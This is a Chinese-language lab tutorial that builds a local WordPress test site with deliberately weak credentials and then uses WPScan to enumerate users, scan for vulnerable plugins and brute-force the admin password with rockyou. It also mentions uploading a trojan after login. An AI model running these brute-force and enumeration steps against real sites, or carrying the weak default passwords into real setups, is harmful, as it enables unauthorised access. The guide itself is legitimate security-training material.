一、环境搭建(100% 成功版)
1. 前置准备:停止冲突服务
bash
运行
# 杀掉占用8080端口的进程(避免PHP服务冲突)
killall php
# 确保Apache/MySQL未运行(后续脚本会重新配置)
systemctl stop apache2 mysql
2. 一键搭建 WordPress + MySQL 环境(复制全量执行)
bash
运行
#!/bin/bash
# 1. 更新系统并安装依赖(解决PHP/MySQL依赖缺失问题)
apt update && apt install -y apache2 mysql-server php8.4 php8.4-mysql libapache2-mod-php8.4 unzip wget -y
# 2. 启动服务并设置开机自启(避免重启后服务失效)
systemctl start apache2 mysql
systemctl enable apache2 mysql
# 3. 自动配置MySQL数据库(免手动输入SQL命令)
# 创建WP专用数据库、用户、密码(记死:wpdb/wpuser/wppass123)
mysql -u root -e "CREATE DATABASE IF NOT EXISTS wpdb;
CREATE USER IF NOT EXISTS 'wpuser'@'localhost' IDENTIFIED BY 'wppass123';
GRANT ALL PRIVILEGES ON wpdb.* TO 'wpuser'@'localhost';
FLUSH PRIVILEGES;"
# 4. 下载并部署WordPress(国内源,速度快)
wget https://cn.wordpress.org/wordpress-6.6.2-zh_CN.tar.gz -O /tmp/wp.tar.gz
rm -rf /var/www/html/wordpress # 删除旧目录(避免残留配置冲突)
mkdir -p /var/www/html/wordpress
tar -zxvf /tmp/wp.tar.gz -C /var/www/html/wordpress --strip-components=1
# 5. 自动生成wp-config.php(无需手动修改配置文件)
cp /var/www/html/wordpress/wp-config-sample.php /var/www/html/wordpress/wp-config.php
sed -i 's/database_name_here/wpdb/g' /var/www/html/wordpress/wp-config.php # 数据库名
sed -i 's/username_here/wpuser/g' /var/www/html/wordpress/wp-config.php # 数据库用户名
sed -i 's/password_here/wppass123/g' /var/www/html/wordpress/wp-config.php# 数据库密码
# 6. 修复权限(解决PHP无法读写文件的问题)
chown -R www-data:www-data /var/www/html/wordpress
chmod -R 755 /var/www/html/wordpress
# 7. 重启服务并启动PHP内置服务器(双保险,确保可访问)
systemctl restart apache2 mysql
cd /var/www/html/wordpress
php -S 127.0.0.1:8080 & # 后台运行,不占用终端
# 输出环境信息(方便后续查阅)
echo "====================================="
echo "环境搭建完成!访问 http://127.0.0.1:8080 完成WP安装"
echo "MySQL数据库信息:"
echo " 库名:wpdb"
echo " 用户名:wpuser"
echo " 密码:wppass123"
echo "WordPress安装路径:/var/www/html/wordpress"
echo "====================================="
3. 完成 WordPress 安装(浏览器操作)
- 打开浏览器访问
http://127.0.0.1:8080 - 填写站点信息(随意填写,如站点名称 "测试站")
- 创建管理员账号(务必记死 ,示例:用户名
wpuser,密码123456) - 点击 "安装 WordPress",10 秒完成安装
4. 环境验证(确保 WP 正常运行)
-
访问
http://127.0.0.1:8080/wp-admin,用账号wpuser/123456登录成功 → 环境正常 -
若登录失败,执行以下命令重置密码(直接操作数据库): bash
运行
# 重置wpuser用户密码为123456(MD5加密,WP兼容) mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('123456') WHERE user_login = 'wpuser';"
二、WPScan 核心命令(无错版)
1. 基础信息扫描(识别 WP 版本 / 主题 / 插件)
bash
运行
wpscan --url http://127.0.0.1:8080 --disable-tls-checks
关键输出解读:
WordPress version 6.6.2 identified:识别到 WP 版本(可查对应漏洞)WordPress theme in use: twentytwentytwo:识别到使用的主题(若版本过时则有漏洞)XML-RPC seems to be enabled:XML-RPC 功能开启(可作为爆破入口)
2. 用户枚举(确认真实管理员账号)
bash
运行
wpscan --url http://127.0.0.1:8080 --enumerate u --disable-tls-checks
作用:避免盲目爆破(实战中必须先枚举用户,再破解密码)
预期输出:
plaintext
[+] User(s) Identified:
+----+-------+----------+
| ID | Login | Name |
+----+-------+----------+
| 1 | wpuser| 管理员 |
+----+-------+----------+
3. 暴力破解(获取管理员密码)
前置:解压 Kali 自带密码字典(默认是压缩包)
bash
运行
# 若提示rockyou.txt不存在,执行解压命令
gunzip /usr/share/wordlists/rockyou.txt.gz
破解命令(一字不差复制)
bash
运行
wpscan --url http://127.0.0.1:8080 --usernames wpuser --passwords /usr/share/wordlists/rockyou.txt --max-threads 10 --disable-tls-checks
快速验证命令(用小字典秒出结果)
bash
运行
# 1. 创建只包含正确密码的小字典(避免等大字典)
echo "123456" > /tmp/my-pass.txt
# 2. 用小字典破解(秒出结果)
wpscan --url http://127.0.0.1:8080 --usernames wpuser --passwords /tmp/my-pass.txt --max-threads 10 --disable-tls-checks
成功标志:
plaintext
[SUCCESS] - wpuser / 123456
[!] Valid Combinations Found:
| Username: wpuser, Password: 123456
4. 漏洞扫描(识别插件 / 主题漏洞)
bash
运行
# 枚举有漏洞的插件(vp=vulnerable plugins)和主题(vt=vulnerable themes)
wpscan --url http://127.0.0.1:8080 --enumerate vp,vt --disable-tls-checks
说明:需注册 WPScan API Token 才能查看详细漏洞信息(免费注册:https://wpscan.com/register)
5. 结果导出(方便打印存档)
bash
运行
wpscan --url http://127.0.0.1:8080 --enumerate u,vp,vt --output wpscan-result.txt --format txt --disable-tls-checks
- 导出文件路径:当前目录下的
wpscan-result.txt - 格式:纯文本,可直接打印
三、高频踩坑指南(按出现频率排序)
1. 环境类错误
| 错误现象 | 原因 | 解决方案 |
|---|---|---|
访问http://127.0.0.1:8080提示 "数据库连接失败" |
wp-config.php 中数据库信息配置错误 | 1. 执行命令验证数据库信息:mysql -u wpuser -p wppass123 -e "USE wpdb;"(无报错则数据库正常)2. 重新生成 wp-config.php:cp /var/www/html/wordpress/wp-config-sample.php /var/www/html/wordpress/wp-config.php,手动修改数据库名、用户名、密码 |
| PHP 内置服务器启动失败(提示 "Address already in use") | 8080 端口被占用 | 1. 查找占用进程:lsof -i :80802. 杀掉进程:kill -9 进程ID3. 重新启动:cd /var/www/html/wordpress && php -S 127.0.0.1:8080 & |
| WordPress 安装时提示 "无法创建目录" | 目录权限不足 | 执行权限修复命令:chown -R www-data:www-data /var/www/html/wordpress && chmod -R 755 /var/www/html/wordpress |
2. WPScan 参数错误(最容易踩坑)
| 错误命令 | 错误原因 | 正确命令 |
|---|---|---|
wpscan --url 目标 --username admin |
用户名参数应为复数--usernames |
wpscan --url 目标 --usernames admin |
wpscan --url 目标 --usernames admin --wordlist 字典路径 |
密码字典参数应为--passwords(WPScan 无--wordlist参数) |
wpscan --url 目标 --usernames admin --passwords 字典路径 |
wpscan --url 目标 --usernames admin --passwords 字典路径 --threads 10 |
线程数参数应为--max-threads(无--threads参数) |
wpscan --url 目标 --usernames admin --passwords 字典路径 --max-threads 10 |
wpscan --url 目标 --enumerate u |
本地站点缺少 HTTPS 校验跳过参数 | wpscan --url 目标 --enumerate u --disable-tls-checks |
3. 爆破失败错误
| 错误现象 | 原因 | 解决方案 |
|---|---|---|
No Valid Passwords Found(小字典也失败) |
1. 用户名错误2. 密码与字典不匹配3. WP 密码未重置 | 1. 枚举用户确认正确用户名:wpscan --url 目标 --enumerate u --disable-tls-checks2. 重置 WP 密码:mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('123456') WHERE user_login = '正确用户名';"3. 用小字典验证:echo "123456" > /tmp/my-pass.txt && wpscan --url 目标 --usernames 正确用户名 --passwords /tmp/my-pass.txt --disable-tls-checks |
| 爆破速度极慢(ETA 几小时) | 1. 字典过大(rockyou.txt 有 1400 万条)2. 线程数过低 | 1. 用小字典或定制字典(如cewl生成)2. 提高线程数(最大 50,避免被封禁):--max-threads 50 |
Scan Aborted: Unable to identify the wp-content dir |
WPScan 无法找到 WP 核心目录 | 手动指定 wp-content 目录:wpscan --url 目标 --wp-content-dir wp-content --force --disable-tls-checks |
4. 其他错误
| 错误现象 | 原因 | 解决方案 |
|---|---|---|
Could not resolve hostname |
DNS 解析失败 | 配置国内 DNS:nano /etc/resolv.conf,添加nameserver 223.5.5.5(阿里云 DNS)和nameserver 8.8.8.8(Google DNS),保存后测试:ping baidu.com |
zsh: corrupt history file /root/.zsh_history |
zsh 历史文件损坏 | 删除损坏文件并重启 zsh:rm /root/.zsh_history && exec zsh |
四、实战流程总结(渗透测试思路)
- 环境准备:搭建 WP+MySQL 环境(用本文提供的一键脚本,避免配置错误)
- 信息收集 :
wpscan --url 目标 --disable-tls-checks→ 识别 WP 版本、主题、插件、XML-RPC 状态 - 用户枚举 :
wpscan --url 目标 --enumerate u --disable-tls-checks→ 确认真实管理员账号 - 漏洞扫描 :
wpscan --url 目标 --enumerate vp,vt --disable-tls-checks→ 查找可利用的插件 / 主题漏洞 - 暴力破解 :用枚举到的用户名 + 字典破解 →
wpscan --url 目标 --usernames 用户名 --passwords 字典路径 --max-threads 20 --disable-tls-checks - 结果导出 :
--output 文件名 --format txt→ 打印存档,构建知识库 - 后续操作:用破解的账号登录 WP 后台,上传木马提权(进阶内容)
五、关键知识点记忆(必背)
- WP 数据库核心表:
wp_users(存储用户账号和密码哈希) - WPScan 三大核心功能:信息收集、用户枚举、暴力破解
- 必加参数:
--disable-tls-checks(本地 / 测试站点)、--wp-content-dir wp-content(解决目录识别失败) - 密码重置命令(测试环境):
mysql -u root -e "USE wpdb; UPDATE wp_users SET user_pass = MD5('新密码') WHERE user_login = '用户名';" - 字典路径(Kali 自带):
/usr/share/wordlists/rockyou.txt(需解压)
六、工具版本信息
- WPScan 版本:3.8.28(本文命令适配该版本,其他版本参数一致)
- WordPress 版本:6.6.2(稳定版,漏洞较多,适合测试)
- PHP 版本:8.4.16(兼容 WP6.6.2)
- MySQL 版本:Kali 默认自带版本(无需额外配置)